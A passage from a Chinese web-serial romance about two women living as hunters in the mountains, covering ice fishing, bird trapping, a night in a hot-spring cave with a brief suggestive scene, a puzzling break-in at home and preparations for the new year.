夏时拿着抄网等了会儿,见再捞到鱼的机会不大,干脆放弃了抄网拿起了钓竿。她给鱼钩上装了饵,重新放进冰洞里——那些被惊走的鱼虽然不会再轻易冒头,但也没有轻易离开,反而聚拢在冰冻附近的冰层下。抄网是捞不到了,但钓鱼总比平常更容易些。 做好了这一切,夏时便将鱼竿递给了楚棠,也让她多些参与感:“阿棠,这鱼竿你拿着,若有鱼上钩就赶紧提上来。” 楚棠听话的接过了鱼竿,果然很高兴,却问道:“那你做什么?” 夏时便冲她眨眨眼,掏出了一小袋谷子,抓了一把洒在雪上。然后她又将装东西过来的篮子改造了一番,让其能够完全在地面扣合。再用一根栓了绳的木棍把篮子支上,就扣在那一把谷子上。 楚棠见状哪里不知道,这是昨日说好的抓鸟,就是这陷阱怎么看怎么简陋,完全不像是能抓到鸟的样子。不由露出两分欲言又止的神色。 夏时一眼便看出她想说些什么,明亮的眸子弯了弯,但她也没有急着解释。 将陷阱用的绳索放长,一路延伸到楚棠身边,夏时自己是没准备第二把小马扎的,她就随手搬了块石头过来挨着楚棠一起坐。两人离得够近,夏时这才压低了声音,指了指溪水又指了指捕鸟的陷阱:“用不着太复杂的准备,咱们只管等着就是,冬日里这些小东西都很好抓的。只是需得小声些,别将猎物惊跑了。” 楚棠也听劝,闻言便不说什么,只往夏时身边靠了靠,然后就安安静静等着猎物入彀。 先上钩的自然是冰洞里的鱼,溪水结冰之后水中不仅缺氧,更缺食物。眼看着鱼饵入水,附近游来游去的鱼哪怕还留有几分警惕,终于还是没经得住诱惑咬了勾。 楚棠只觉手上一点力道传来,立刻意识到是有鱼上钩了,她激动得一下子站了起来。瞬间惊走了刚落地的几只鸟,不过手中已经咬勾的鱼却是再也跑不掉,很快被她提出了水面。 鱼儿离水开始疯狂挣扎,楚棠一个不防险些没抓稳鱼竿,好在夏时及时抓着鱼竿往旁边一甩,出水的鱼就落在了地面。楚棠定睛一看,不由笑了:“这条比你之前捞的那条鱼大了不少呢。” 夏时自然也不吝回夸,竖起拇指,笑得眉眼弯弯:“那自然是阿棠比我更厉害。” 楚棠听得脸一红,哪里好意思受她这夸赞,毕竟一切的准备工作都是夏时做的。不过能亲手钓上来一条大鱼,也是足够令人开怀的,以至于向来处事泰然的楚棠,这会儿眼睛都比平时更亮了三分。 等将鱼钩从鱼嘴里取下来,这次楚棠却不要夏时帮忙了,她亲手在鱼钩上装了饵,又亲手下了竿继续垂钓——这次她打算亲力亲为,最好再钓条大鱼上来。 平常总是夏时打了猎物回来给自己吃,今日她也想让夏时吃到她亲手钓的鱼! 60☆、第60章 ◎在那手感颇好的腹肌上摸两下◎ 山里的野溪无人捕捞,鱼就是多。 楚棠一开始只是想亲手钓条鱼给夏时吃,后来却发现在这里钓鱼实在是太容易了,以至于鱼儿一条接一条的上钩,生生把楚棠勾出了钓鱼的瘾。 直到夏时无奈的劝停:“好了好了,够吃了,别过过年,下半个月的鱼都有了。” 楚棠闻言回头一看,才发现甩到岸上的鱼居然已经有十来条,有的还在活蹦乱跳的挣扎,有的已经挣扎不动,只是偶尔摆一下尾。 这满满的收获,哪怕是处变不惊的楚棠看了,心里也不免生出些满足来——她忽然就爱上了钓鱼这件事,此刻的满足感和成就感让她心情愉悦。但夏时说得没错,眼下这些鱼已经足够她们吃了,甚至短时间内根本吃不完。 楚棠于是只好遗憾的收起了钓竿,转头问夏时:“鱼已经够了,那你捕的鸟呢?” 夏时露出一脸无奈的苦笑,她冲着楚棠一摊手,又用下巴一点陷阱方向:“一只也没抓到。” 楚棠顺着她示意看去,果然看到那倒扣的篮子依然扣着,根本没有鸟雀入彀。本想笑话夏时两句的,只是开口前凭借着她出色的视力,忽然发现那陷阱旁边的积雪上是有鸟雀爪印的。这说明确实有鸟雀落地过,只是还没踏入陷阱就又飞走了。 她不傻,想起早先情状,立刻就猜到是因为自己这边一条接一条的钓鱼上来,动静太大惊走了落地的鸟雀。也就是说抓不到鸟不是夏时的错,而是她自己坏了事。 楚棠想到这里有些赧然,眨眨眼问夏时:“那,现在我不钓鱼了,咱们再等等?” 夏时却不打算继续在这里捕鸟了,已经惊走鸟雀太多次,那些鸟又不像鱼那样傻,还会接着一次次的上钩。继*续留在这里捕鸟的难度太大,还是换个地方好。 唔,温泉山洞外就不错,就近捉了就近烤。 于是夏时抬头看了看天色,又伸手过去握了握楚棠的手:“时候不早了,你坐在这里吹了这么久的冷风,手也凉透了。走吧,咱们去温泉山洞,把这些鱼烤了填填肚子。我带来的谷子也还有,到时候在那边重新弄个陷阱捉鸟,也比继续在这里等更容易些。” 楚棠向来是听劝的,尤其她之前钓鱼时情绪兴奋还不觉得,现在被夏时抓着手才发现自己的手早就冻僵了。带来的手炉现在也不如一开始暖和了,她便是想暖手也不容易。 夏时倒是一如既往的体贴,发现她手凉就替她捂着,后来发现用手捂太慢就干脆塞进了怀里。 如今两人的关系不似从前,楚棠也并不排斥夏时过分亲昵的举止。夏时把她的手塞进怀里取暖,她就敢把冷冰冰的手贴在夏时肚子上,看着她被冻得一激灵,还要露出抹得逞似得笑。末了等手渐渐暖和起来,手掌恢复灵活,还要在那手感颇好的腹肌上摸两下。 夏时被她摸得小腹一缩,接着幽怨的看她一眼,便将那两只作乱的手给抽了出来——真是的,明知道这冰天雪地的户外做不了什么,还要来撩拨她。 楚棠看懂了这个眼神,面上不由一热,旋即又理直气壮的看了回去。 两人视线交流一瞬,到底偃旗息鼓:“好了,我把东西收拾收拾,咱们就走吧。” 夏时说着转身行动起来。此行带来的东西挺多,但收拾起来并不费事,夏时不一会儿就重新将这些乱七八糟的东西又塞进了篮子里。 让楚棠看着觉得为难的是那十几条鱼,她们根本没带东西过来装,这么多鱼也不好拿。好在夏时比她有经验许多,顺手拿了之前做陷阱的绳子,也不知她怎么操作的,竟是将鱼从鱼鳃处一条条串了起来。十几条鱼最终串了两大串,看着就沉。 夏时便将鱼竿交给了楚棠拿着,自己一手提鱼一手拎着篮子:“好了,今日收获颇丰,回去吧。” 这回去自然不是回家,是回说好的温泉山洞。好在那地方距离不算太远,楚棠近些日子又去过好几趟了,这时候张望一番也轻易找到了方向,径自走到夏时前面去了。 ******************************************************** 此时距离两人发现这处温泉山洞已经过去一个来月。前半个月等着水流净化没什么好说的,等后来两人开始在这里泡温泉起,夏时便陆陆续续搬了东西过来改造山洞。 随着一阵细碎声响,夏时搬开了挡在洞口的石头。光亮照进山洞,驱散洞中黑暗的同时,一股白色雾气也伴随着暖意扑面而来。 “走吧,先进去暖和暖和。”夏时说着拎起了地上的重物。 楚棠也不与她客气,微微矮身,一脚踏进了温泉山洞——山洞里和山洞外是截然不同的两种温度,外面是遍地积雪寒风凛冽,洞中就是暖意融融如在春日。纵是楚棠这般怕冷的体质,在山洞里待过一阵后也穿不住身上厚厚的皮裘,便脱下这厚重的累赘,整个人轻快许多。 脱下的皮裘被她放在了山洞一角的小榻上,那是夏时自己搬了木板来钉的,做工有些粗糙,但好在结实耐用,暂时放在这山洞里也算是一处歇息之地。 除此之外,山洞里还多了只箱笼,里面装着两人换洗的衣裳。另有锅碗柴木之类的东西,这边也都准备了一份,随时准备做些吃食给两人填肚子。乍一眼看去,这山洞里的东西比起钱老头夫妇进山时带的行李还要齐全些,便是住个三五日也不成问题。 夏时慢一步走了进来,目光往山洞里一扫,便也知道这些日子此处无人也无动物到访。 这里几乎已经成了两人的另一个家。夏时将手中提着的东西放了下来,然后先将篮子空出来,出去又做了个陷阱,回来后才问:“怎么样阿棠,你饿不饿?” 楚棠正俯身看着那串鱼,闻言站起来揉揉肚子:“好像是有些饿了。” 夏时闻言马不停蹄取了两条鱼出去料理,楚棠见状也没闲着,搬了些柴过来慢慢生起了火——来到山中后楚棠跟着夏时学了不少技能,如洗衣做饭之类她都有尝试过。但随着夏时对她越来越好,天气也越来越冷,许多事夏时便不再让她做了。以至于迄今为止她学会的最实用技能依旧是烧火。 不多时,夏时拎着两条处理好的鱼回来了,一眼看见楚棠生好的火就笑:“正好,这鱼抹些调料,就能上火开始烤了。” 说话间,夏时从山洞里翻出些瓶瓶罐罐,正是她从家中带来的调料。只是普通人家常用的调料也很有限,不过是些姜蒜,此外就是盐了。 夏时一面抽刀在鱼身上割出几道刀口,一面往鱼身上抹盐:“可惜现在是冬天,要是早两个月来烤鱼就好了。那时候山里多的是成熟个野果,酸的甜的,弄来将鱼腌一腌再烤,滋味儿可比现在好得多。好在这溪水里的鱼还算鲜嫩,腥味儿也没那么重,尝个鲜也还行。” 她一边说着,一边手脚麻利的飞快处理好了鱼,又不知从哪儿摸出两根削光的树枝出来将两条鱼串上,这便可以开始烤了。 夏时在火堆上架起个简陋的支架,然后将其中一条递给了楚棠,又与她细细交代了该怎么烤。 楚棠学得也快,事实上烤鱼和烤肉没什么区别,而楚棠从前也是见过人烤肉的——京城的公子小姐们十之八九没有进过厨房,但神奇的是这些人里至少有一半都会烤肉。手艺如何暂且不提,但至少都是经历过狩猎玩乐,然后顺便料理了猎物亲自来烤制的。 楚棠倒是没有尝试过,她和两个好友都不爱看处理猎物的血腥。不过她好友沈知薇的夫人却很擅长此道,因此楚棠甚至还知道一个很好吃的烤肉方子,只是那些香料对于普通人来说太贵了。 稍稍分神想起了往昔,等楚棠回神一看,才发现手里的鱼许久没翻动,险些烤焦了。 她慌忙将鱼翻过一边,这才想起夏时许久没有说话,也没有提醒她该给鱼翻面了。连忙抬头一看,才发现那人的心思也并不在鱼上。 夏时此刻坐在洞口边,正聚精会神看着外面呢。仔细再一看,她手里还牵着根绳子,不用猜也知道外面新设的陷阱应该有了动静,正等着她抓住时机收网。 楚棠见状连忙噤声,怕再次惊飞了夏时要捉的鸟。 不过她还是好奇,便放下手里烤到一半的鱼,蹑手蹑脚的凑了过去。 夏时选的位置正好,山洞口的岩石几乎遮挡住视线,只勉强能看到雪地里倒扣的篮子。楚棠凑过去时,正瞧见一只灰褐色的鸟落在了篮子旁,探着头试图去吃篮子下的谷子。 那鸟个头还不小,跟鸽子有些像,让人看了忍不住怀疑篮子能不能将它扣住? 这个怀疑也并没有持续多久,就在那鸟吃着吃着终于踏入陷阱的下一秒,夏时便当机立断的拽了绳子。倒扣的篮子应声而落,将那鸟扣在了篮子里,旋即便传来了一阵翅膀的扑腾声,刚扣下的篮子也被顶开了。 好在夏时动作够快,在拽了绳子的同时便冲了出去,终是在那鸟挣脱篮子逃跑前一把将篮子按住了。 鸟儿继续在篮子里努力扑腾,但显然已经失去了逃生的机会。等夏时将手伸入篮子里,很快便拎着翅膀将这鸟抓了出来,顿时眉开眼笑的献宝:“我本来只想抓几只麻雀烤来着,没想到能遇上斑鸠。” 楚棠看一眼斑鸠,又看一眼夏时,脑海里还是这人冲出山洞时如猎豹一样的身影。 60-70 61☆、第61章 ◎平日怕冷的人也能迅速暖起来了◎ 捉到的斑鸠很快被煮成了一锅汤。夏时也没有食言,之后陆陆续续又用篮子扣到几只麻雀,全都被她烤了送给楚棠尝鲜。 虽然麻雀肉少,但也别有一番滋味儿,楚棠确实尝到了鲜。 只是今日这饭菜,不是鱼就是肉,一点菜蔬都没有。夏时这样吃惯了肉食的倒不觉得如何,楚棠却很快觉得腻了,吃完烤麻雀之后,自己辛辛苦苦钓的鱼没吃两口就有些吃不下了。 夏时看她那眉头微蹙的模样,顿时猜到了她的想法,当即放下了手中的烤鱼:“等着。” 说话间她便起身离开,楚棠就见她走到之前从篮子里腾出来的那一堆东西边,在里面翻翻找找,很快找出只小酒壶来——这东西她认得,正是前些日子两人进城采买年货时买的果子酿。酒味并不算重,但酸酸甜甜的滋味儿还算不错,向来是姑娘们的最爱。 夏时酒量不好,也不爱酒水那呛辣的滋味儿。但她尝过这果子酿也觉得不错,便买了不少回来,打算过年时喝。只是现下还没到年节呢,倒先被她带来了这里。 有了好东西,夏时照常跟老婆献宝:“光吃肉腻了吧,看,我带了果子酿来,给你润润口正好。” 有酒有肉的饭食,谁都不会嫌差,哪怕是楚棠这样金尊玉贵长大的大小姐,也从中感到了几分野趣。因此她也没有拒绝夏时递过来的果子酿,打开瓶塞之后干脆放在唇边抿了一口,果子酿酸酸甜甜的滋味儿顿时冲散了口中的油腻,也让人胃口大开。 楚棠的眉头舒展开了,又见夏时依旧抱着烤鱼在吃,就将酒瓶递了过去:“你也尝尝?这果子酿酸酸甜甜的,用来解腻正好。” 夏时吃着烤鱼并没有觉得腻,但老婆好意递来的果子酿,她当然也接了。 举着酒瓶仰头就灌了一大口,看上去颇有些豪爽模样,也只有对面的楚棠知道,这人连农家自酿的浊酒也喝不得一碗。所幸是个女郎,酒量差些也没什么。 楚棠开了胃口,便又继续吃了起来,那瓶果子酿也在两人手中传来递去,直到一滴不剩。 酒足饭饱,楚棠摇晃了下空酒瓶,随手就放在了一旁。她再一抬头,却见夏时正在收拾残局——所谓收拾残局,便是把吃剩下的那些全都包揽了。她倒是胃口好,吃得头也不抬,楚棠却发现对方的面色比平日红了不少,也不知是被火烤的,还是饮酒的缘故。 应该不是饮酒吧,那果子酿根本一点也不醉人。 楚棠想着,但也不妨碍她托腮观察夏时。这一看才发现,许是入冬之后不怎么出门的缘故,夏时的肤色明显白皙了不少,如今染上几分绯色,倒也有了几分少女的娇俏。 夏时没有察觉楚棠的视线,她将剩下的食物全塞进肚子里,吃得略有些撑。 酒足饭饱,再加上多少饮了些酒,困倦之意很快袭来。 夏时眨了眨眼,又打起精神,准备先将炊具收拾起来,再去榻上小憩片刻。 楚棠看出她犯困了,便起身推她离开:“行了,你觉得困就先去睡,这里我来收拾吧。” 夏时想了想,也没有拒绝,毕竟两个人过日子她也不可能真把楚棠供起来,什么都不让她做。不过收拾炊具而已,也不必都给楚棠一人,她俩可以一起做。 两个人动手确实很快,前后不过半刻钟,除了还没燃尽的火堆,所有东西便都被她们收拾好了。火堆燃着也无妨,反正没有燃料也烧不起来,等将最后那点柴木燃尽也就自己熄了。 做完这些,夏时困倦更浓,忍不住捂着嘴打了个哈欠。 众所周知,瞌睡是会传染的,哪怕楚棠一开始并不困,见状也不免生出了几分倦意。 正好,山洞里早就准备的小榻,虽然简陋但也足够用了,两人便干脆抱在一起睡了个午觉。 ************************************************************ 这一觉两人睡得挺长,楚棠醒来时便觉头脑昏昏,山洞里光线也比之前黯淡了几分。 她算着时间不算早了,便推了推身侧还未醒来的夏时——也不知夏时是故意还是无意,这张在温泉山洞里打造的小榻确实很小。长度倒是够,可宽度却只能容一人安睡,要是两个人挤在这小榻上,就非得抱在一起才行。便如此刻,楚棠就是整个人窝在夏时怀里的。 夏时温香软玉在怀,正睡得有些沉,被推醒之后眨眨眼:“怎么了?”说着手臂又将怀中人往里拢了拢,似乎怕把人挤下榻。 楚棠就在她怀里翻了个身,原本是背靠在夏时怀中的,这下变成了两人面对面。她小手抓着夏时衣领,神情像是有些漫不经心,问道:“时候不早了,咱们回去吗?” 夏时闻言清醒几分,目光下意识就往温泉方向瞥了一眼——来都来了,不泡温泉就回去怎么行? 楚棠也看懂了她的眼神,或者说根本不用看,她也知道夏时那点小心思。当下松了抓着夏时衣领的手,一翻身坐了起来,下床去外面看天色了。 两人这一觉确实睡得久,再加上冬季本就天短,楚棠往山洞外一看,便见外间天色已是有些昏沉。若是此刻上路,两人倒也能赶在天黑之前到家,但若是再在这里耽搁一阵,甚至留下泡个温泉,那外面天就该黑透了,也别指望摸黑回去。 她又回转榻边,冲已经扶着脑袋坐起来的夏时说道:“天快黑了,再耽搁咱们今晚就得留宿在这儿了。” 夏时长臂一捞,便将榻旁的楚棠捞了过来,自己将脑袋埋在她怀里蹭了蹭:“那就留宿好了。反正这里暖和,就算水汽重,住一晚上也没什么大碍。” 楚棠冷不防被她拱进了怀里,毛茸茸的脑袋贴在她怀中蹭来蹭去,顿时痒得不行。她赶紧将夏时的脑袋按住,撸小动物似得撸着她柔顺的发丝。还没来得及说什么,就听那人在她怀里哼哼唧唧的撒娇:“阿棠,你再摸摸,我头有些疼。” 夏时身体向来强健,两人在一起几个月了,别说生病受伤,就这大冬天晨起她也敢穿着单衣在屋子里窜来窜去。冷不丁听她说头疼,楚棠还吓了一跳。 但很快,楚棠就反应过来了——她先探了探夏时额头,发现并没有发热的迹象,再加上刚才两人是抱在一起睡的,自己体质更差都没着凉生病,没道理身强体健的夏时反倒病了。那么对方头疼就只有一个原因了,之前那瓶没什么酒味的果子酿,竟也将人灌醉了! 楚棠有些哭笑不得,但她还是心疼夏时的,便顺着夏时的话替她按起了头。 她手法轻盈,又识得几个穴位,这一番按捏的效果自是远比夏时说的摸摸头好得多。按了不一会儿,楚棠便听到了怀中人满足的哼唧声,更像被撸毛撸舒服了的小动物了。 楚棠心里闪过这样的念头,神情都不由柔和了许多,被夏时环腰抱着也没觉得哪里不对。直到怀里的“小动物”缓过了劲儿,爪子不安分的从她衣摆下探了进去…… 夏时的手不像楚棠的手,到了冬天就总是带着些凉,好像怎么也捂不热。夏时的手和她的人一样,总是暖呼呼的,像个小火炉。而现在,这只暖呼呼的手贴在了楚棠的后腰上,轻轻摩挲着,渐渐将那带着冷意的肌肤也传染上几分热度。 楚棠给夏时按头的手顿了顿,然后就没有然后了,她也没有试图把那只不安分的爪子拿出来——反正看这样子今天也回不去了,两个人待在山洞里也无所事事,做些有意思的事也不是不行。 夏时在这方面总是很敏锐,立刻就意识到楚棠的放纵,于是空余的那只手摸到冬衣衣带上一扯,脑袋在往对方怀里蹭蹭,原本穿戴整齐的冬衣,衣襟立刻就散了。她趁机将脑袋钻了进去,原以为能和老婆近距离贴贴了,结果忘了老婆的冬衣里面还有夹袄。 老婆怕冷这件事,有时候挺好的,比如晚上睡觉对方会自觉往自己怀里钻。但有时候也不太好,比如想跟对方贴贴,就先得拔开一层又一层。 好在夏时从来不缺这点耐心,腾出手又把这层夹袄给脱了,终于瞧见里面单薄的中衣。 近距离在楚棠怀里蹭了蹭,脸颊触碰到一片柔软,夏时这才仰头去看楚棠。结果还没等她对上楚棠的视线,后者就抬手将她眼睛遮住了——某些时候,楚棠总有些莫名其妙的羞涩。 夏时并不在意,也不去解中衣的衣带,干脆一埋头直接从衣摆下钻了进去。 没片刻,楚棠气息一乱,发出一声轻哼,抬手便抱住了怀里那颗乱拱乱动的脑袋。可禁锢了没片刻,她便觉胸前一阵湿凉,有什么柔软的东西在她胸口舔了一下,然后又一下。 楚棠的气息更乱了,怀里那颗脑袋抱也不是,推也推不开。 夏时却是一点不着急,就这样和老婆贴贴她也很开心。不过煽风点火的手没停,于是没一会儿功夫,她便觉那禁锢着自己脑袋的两条手臂松开了,脸颊贴着的肌肤温度也越来越高,全不似往常,这人身上哪儿哪儿都是凉的。 满意的蹭蹭,夏时觉得这也挺好,大冬天的活动开,平日怕冷的人也能迅速暖起来了。 62☆、第62章 ◎金子银子铜钱都不见少◎ 山中日子清冷,却也自由自在。 哪怕是年节将至,只有两个人的小家,日子想怎么过还是由她俩自己说了算的。是以抽出一天时间去钓鱼,乃至于在山中耽搁一夜,也并没有人能置喙一二。 翌日两人起身略迟,又在山中耽搁了一阵,归家时已是午后。 夏时一手推开小院大门,一边回头冲楚棠说道:“时候不早,饿了吧?我先去做饭。” 楚棠倒是没饿,不过她看出夏时饿了,于是说道:“那我去帮忙烧火。”至于帮忙做饭什么的,她俩谁都没提这话茬。 夏时自然笑着应好,这大冷天的烧火其实算是件不错的差事,毕竟能就近烤火也是暖和。 两人说说笑笑进了院子,手里拎着的东西不少,大部分直接放去了灶房,小部分则放回了屋中。只是房门刚推开,夏时一条腿跨进去还没落地,忽然就顿住了。 楚棠跟在她身后本欲进门的,冷不丁前面的人不走了,她险些没能收住脚。不过夏时这不同寻常的反应她也看在了眼里,于是连忙止步问道:“怎么了?” 她一边问,一边往房间里看,却并没有看出有哪里不对的。 夏时眉头却拧了起来,她目光飞快在屋中逡巡一遍,确实也没看出有哪里不妥的。可她是猎人,是靠着警惕才能在山中存活,在野兽身上讨食的猎人,直觉方面不是平常人能比的。而现在直觉告诉她,在她们离开家的这一天一夜里,这小屋有人进来过! 当然,现在屋里是没人的,所以她悬空的脚终于还是落了地。只是脸上严肃的表情丝毫没变,她一边进屋一边冲身后的楚棠说道:“家里好像有人来过,阿棠,你看看有没有少了什么。” 夏时一边说着话,一边直奔床榻——床底下埋着她全部的积蓄,后来楚棠收到的那箱金子也交给了她处置,于是她便将两人的钱都一起埋在了床下,方便两人随时取用。而那些金银,自然也是这个小家里最有价值的东西,有贼入门必然不会放过。 楚棠一见她往床边去,便知道她是去看钱了,自己便没跟去凑热闹。她晚夏时一步进门,目光又在屋里转了一遍,依旧没有看出任何遭贼的痕迹。 不过相处日久,楚棠还是十分信任夏时的,便也在屋中寻找起线索来。 不多时,夏时率先出声,松了口气的样子:“还好,还好没丢。” 楚棠闻声看去,便见夏时已经从床下翻出了两样容器。陶罐还是那个陶罐,箱子也还是那个箱子,打开来一看,里面金子银子铜钱都不见少。 夏时着实松了口气,她自己的钱丢了倒没什么,要是楚棠的金子丢了她可就真不知如何是好了。 楚棠也走过去看了看,她对陶罐里存了多少钱倒不十分清楚,于是问道:“钱一点没少吗?” 小箱子里的金子一目了然,夏时便抱着自己的陶罐拍了拍:“放心,一点没少。”说完又忍不住嘟哝起来:“真是奇怪,家里进了贼居然没丢钱。我还以为是赌坊那群人不死心又摸上了山,见咱们不在家顺手牵羊呢,可以他们的本事也不至于找不到钱。” 赌坊的打手追债可是老手了,客客气气讨不回来的债,他们也从不缺强硬手段。跑去别人家翻箱倒柜□□夺的事更是屡见不鲜,和抄家没什么区别,总不至于连藏床底下的钱都找不到。 当然,赌坊打手上门的事,其实已经过去不短时间了,可除了他们夏时也想不到还有哪家毛贼会跑山上来她家下手——猎户可不是好惹的,别的不说,这种住在山中的猎户家总要防着野兽进家,因此在房前屋后设下陷阱也是理所当然的事。万一踩中陷阱丢了性命,都没地方说理去。 楚棠抿唇沉吟片刻,却道:“不会是赌坊打手上门,他们可没这么小心。”顿了顿又道:“我看过了,其他东西也没少,唯独少了一页纸。” 夏时闻言一懵,目光下意识往桌上瞟去:“什么纸?” 她们家连本正经的书都没有,倒是最近天冷不出门,楚棠便每日抽出些时间教她习字。如今桌上写过的、空白的纸一摞,但都没有什么特别的地方。 楚棠对自己教过夏时什么,两人又写过什么,自然一清二楚。但此刻她也只能困惑的摇头:“只是一张写过的纸,并没有什么特别的。” 夏时不过初学,楚棠教她学字自然也没有什么特别的,基本跟着她自己学过的启蒙教材走。因此丢失的那张纸真没有什么特别的,如果不是夏时一回来就信誓旦旦的说家里进过人,她都会以为那张纸是不小心被风吹落,不知掉去哪里了。 当然,只是丢了一张纸的话,也并没有什么值得追究的地方。 夏时挠了挠头,除了对这遭遇愈发不解之外,也实在想不到其他。最后她也只好将钱财换了个更隐蔽些的地方藏:“算了,既然什么要紧的东西都没丢,那还是先吃饭吧。等回头我去买把好锁,再在院子外多设几个陷阱,总不会再让小贼登门。” ************************************************************* 有贼进家的事,很快就被两人抛在了脑后,毕竟她们家真的什么值钱的东西都没丢。不过之后的几日,两人也都没出门,毕竟年关是真的近在眼前了。 暖烘烘的灶房里,楚棠端了个小马扎坐在灶火前。跳跃的火光映照在她脸上,映出一片温暖的红,更衬得她眉眼如画,让人看了舍不得移开目光。而美人本人并没有这样的自觉,她一边认真的添柴烧火,时不时还要探头张望。 冷不丁一只手伸过来,抵着她额头将人推开稍许:“离远一些,小心油溅到你身上。” 楚棠原本只是有些好奇,被夏时这一挡,面上不禁有些发烫。好在她当真听话,身子往后躲了躲,距离灶台远了些,距离灶台上的油锅更远。 而后就听“刺啦”一阵响,是夏时将裹了面浆的肉条扔进了锅里,动静不小却并没有溅油上来。倒是肉条下锅,不一会儿便有浓烈的香味弥漫开来,饶是楚棠口腹之欲并不重,也被勾出了些许馋意。她又往锅里看了眼,却并没有说什么。 夏时自然不会委屈了自家老婆,当锅里的酥肉渐渐变得金黄,她算着时间将肉捞起晾凉。手快的又下了一批肉条下锅之后,便捻起一块不那么烫的酥肉递到了楚棠嘴边:“尝尝看,味道如何。” 楚棠也没有故作矜持,红唇微启,便将那金黄的肉条咬入了口中。 外层的面糊炸得焦脆,里面的肉条鲜嫩多汁,再加上油脂的香味,哪怕只是简单的调味并没有用上许多珍贵的香料,这块酥肉的滋味儿也是极好的。再加上亲手烧火也算是参与了制作,楚棠眼睛微眯,明显是十分满意的。 但下一秒,她便觉唇上一软,睁眼一看便见一张近在咫尺的脸庞映入眼帘。 是夏时不讲道理的抢了她咬剩下的半截酥肉,两人唇贴了贴,她倒也没纠缠着耽搁了正事。重新回到灶台前搅动锅里酥肉的同时,夏时还义正言辞的狡辩了一句:“我就尝尝咸淡。阿棠你尝着滋味儿如何?我吃着感觉还行,你要是觉得咸了淡了,我也好比较出咱俩口味的差异。” 楚棠险些被她这狡辩气笑了,两人都一起生活好几个月了,彼此口味如何早就一清二楚,哪用得着现在说这个?不过她也没反驳,小两口过日子,总归是有些黏糊的。 趁着下一锅酥肉捞起来之前,没吃够的楚棠准备再尝一块,手伸出来才发现摸过柴火的手有点脏。她也没有去洗手的打算,更不打算用小脏手去碰食物,顺手就在夏时腰间戳了戳:“我还要。” 夏时回头就在她唇上贴了贴,眼微弯唇微翘,尽是窃笑:“怎么样,够了吗?” 楚棠一看便知她是故意的,一时间哭笑不得,索性轻哼道:“我是还要酥肉,谁要你了,你可比不上酥肉香喷喷的好吃。” 夏时脸上还是笑,顺手再度投喂的同时,压低声音说道:“你怎么知道我不好吃?你又没吃过。” 楚棠咬着酥肉愣了一下,先时还没反应过来,等反应过来后整张脸就都烧起来了。哪怕这是自己家,现在灶房里就她们两个人,可这样的话大白天说出来,就很让人不自在了。 沾着柴灰的纤纤玉手落在夏时腰间,不怎么客气的拧了一把:“好好说话。” 楚棠的力气不大,夏时腰间的肌肉紧实,这一下其实也没将人拧疼。不过夏时还是乖乖低头认错,又讨好般的凑过去在老婆唇上贴贴,一副黏黏糊糊撒娇的模样,倒是轻易把人哄好了。 两人黏糊了一阵,锅里的酥肉已渐渐变成金黄,又到了出锅的时候。 楚棠也不耽搁她做事,抬手就在夏时小腹上推了一把:“别闹了,快捞起来,免得炸过了。” 夏时应了声好,似乎还有些意犹未尽的黏糊。不过她也没耽搁,扭头就将锅里的酥肉捞了起来,继续炸新的——她今天准备的酥肉可不少,新鲜炸出来的好吃,炸好放着平时能拿来当零嘴,加两把蔬菜还能打个汤,反正怎么都好吃的。 同时这也算是年夜饭上的一道菜,快过年了,得提前准备起来。 63☆、第63章 ◎怀疑她偷偷去灶房喝了醋◎ 年节前的习俗不少,认真准备起来有的两人忙碌。不过夏时是不讲究这些的,从前她一个人过年,或者再往前些和她爹一起过年时,都是凑合着过。 当然,今年家里有了新成员加入,她也愿意为过年多付出些精力。 从腊月二十七开始,夏时陆陆续续为年夜饭准备了不少好菜——蒸扣肉、炸酥肉、蒸珍珠丸子、炸萝卜丸子、杀鸡炖汤、红烧鲤鱼等等,都不算是多费功夫的菜色,但也是夏时能力所及了。所幸这些东西摆在年夜饭的饭桌上,也不会显得太简陋。 楚棠也没闲着,除了待在灶房里帮夏时烧火顺便接受投喂之外,她也找出了采买年货时买回来的红纸。一大张红纸铺陈开,细细裁剪,一部分裁成长条准备拿来写春联,另一部分裁剪方正,却是楚棠准备剪成窗花贴在窗户上,多少为这个简陋的小院添上几分年节的喜气。 夏时好奇的蹲在楚棠面前,看着她拿把剪刀在折叠的红纸上比划来回,不多时红红白白的纸屑纷纷而落。夏时顺手捡起来扔进旁边的炭盆里,火苗倏地蹿起来一小截。 待到这截火苗燃尽跌落,夏时一转眼的功夫再回头,就见楚棠已经展开了手中的杰作。剪的却是一只兔子,圆滚滚胖嘟嘟,看着便十分喜人。 夏时眼睛亮了亮,她自己是没这手艺的,让她猎兔子可以,剪兔子就不行了。 楚棠拿着那剪纸兔子看了看,却不甚满意,摇摇头说道:“许久没碰过这个,手有些生了。” 夏时顿时将那纸兔子接了过来,左右看看,忍不住说道:“这哪有什么不好的?明明很漂亮。等回头我就贴咱们窗户上……这还是咱们家第一次贴窗花呢。” 楚棠见她欢喜模样,也不由笑了起来,转头又拿起一张红纸开始剪起来。 夏时宝贝的将纸兔子收好了,转头又眼巴巴守着楚棠,等着看她下一幅杰作。却在这时听见外面一阵“砰砰”的敲门声,像是有人登门了。 说实话,夏时不太想理会,毕竟最近每次有人登门都不是什么好事。 只是楚棠听到动静后放下了剪子,夏时见状便只好道:“你就在这里别出去了,我去看看外面是谁来了。”说完间起身推门出去了。 临近年关,最近的天气倒是不错,虽然地上积雪未化,但白日里是不怎么落雪的,偶尔还能见着太阳。此时推门出去,山间的风也不似往日凛冽,像是被阳光晒得柔和起来。 夏*时便是在这样一个好天气打开了院门,然后看到了挎着篮子站在门口的小姑娘。 小姑娘仰着头,眼巴巴看着她,喊了一声:“师娘。” 夏时着实没想到,这年节前登门的居然会是大丫。还不到她胸口高的小姑娘,虽然农家出身自小在村子里跑惯了,但这大概也是对方头一回上山。 目光不由自主往山道方向看了一眼,却没看见小姑娘的父母跟来。夏时也不知那两人是避开了她,还是今日真只有这小姑娘一个人上山,她皱皱眉收回视线,低头问对方:“大丫,你怎么来了?” 大丫便将手臂上挎着的小篮子往前一递,目光却穿过了夏时往她身后看:“过年了,我来给老师送些年礼,也提前拜个年。” 这话没毛病,尊师重道自来如此。 可夏时听到这话却不免尴尬,因为楚棠教大丫学字其实并没有十分用心,再加上钱家那事的迁怒,入冬闲下来之后,楚棠也没有下山再教过对方。甚至经历过上回县城相遇的事,两家的关系肉眼可见的冷淡下来,这师生关系就更淡了。 可无论如何,小姑娘费劲的爬上山来送年礼,夏时总不好将人拒之门外。她在心里叹了口气,转头把人领进了门:“走吧,去见见你的老师。” 楚棠刚剪好一副新窗花,也没想到会是大丫来了,略略惊讶之后伸手将人招到了近前。 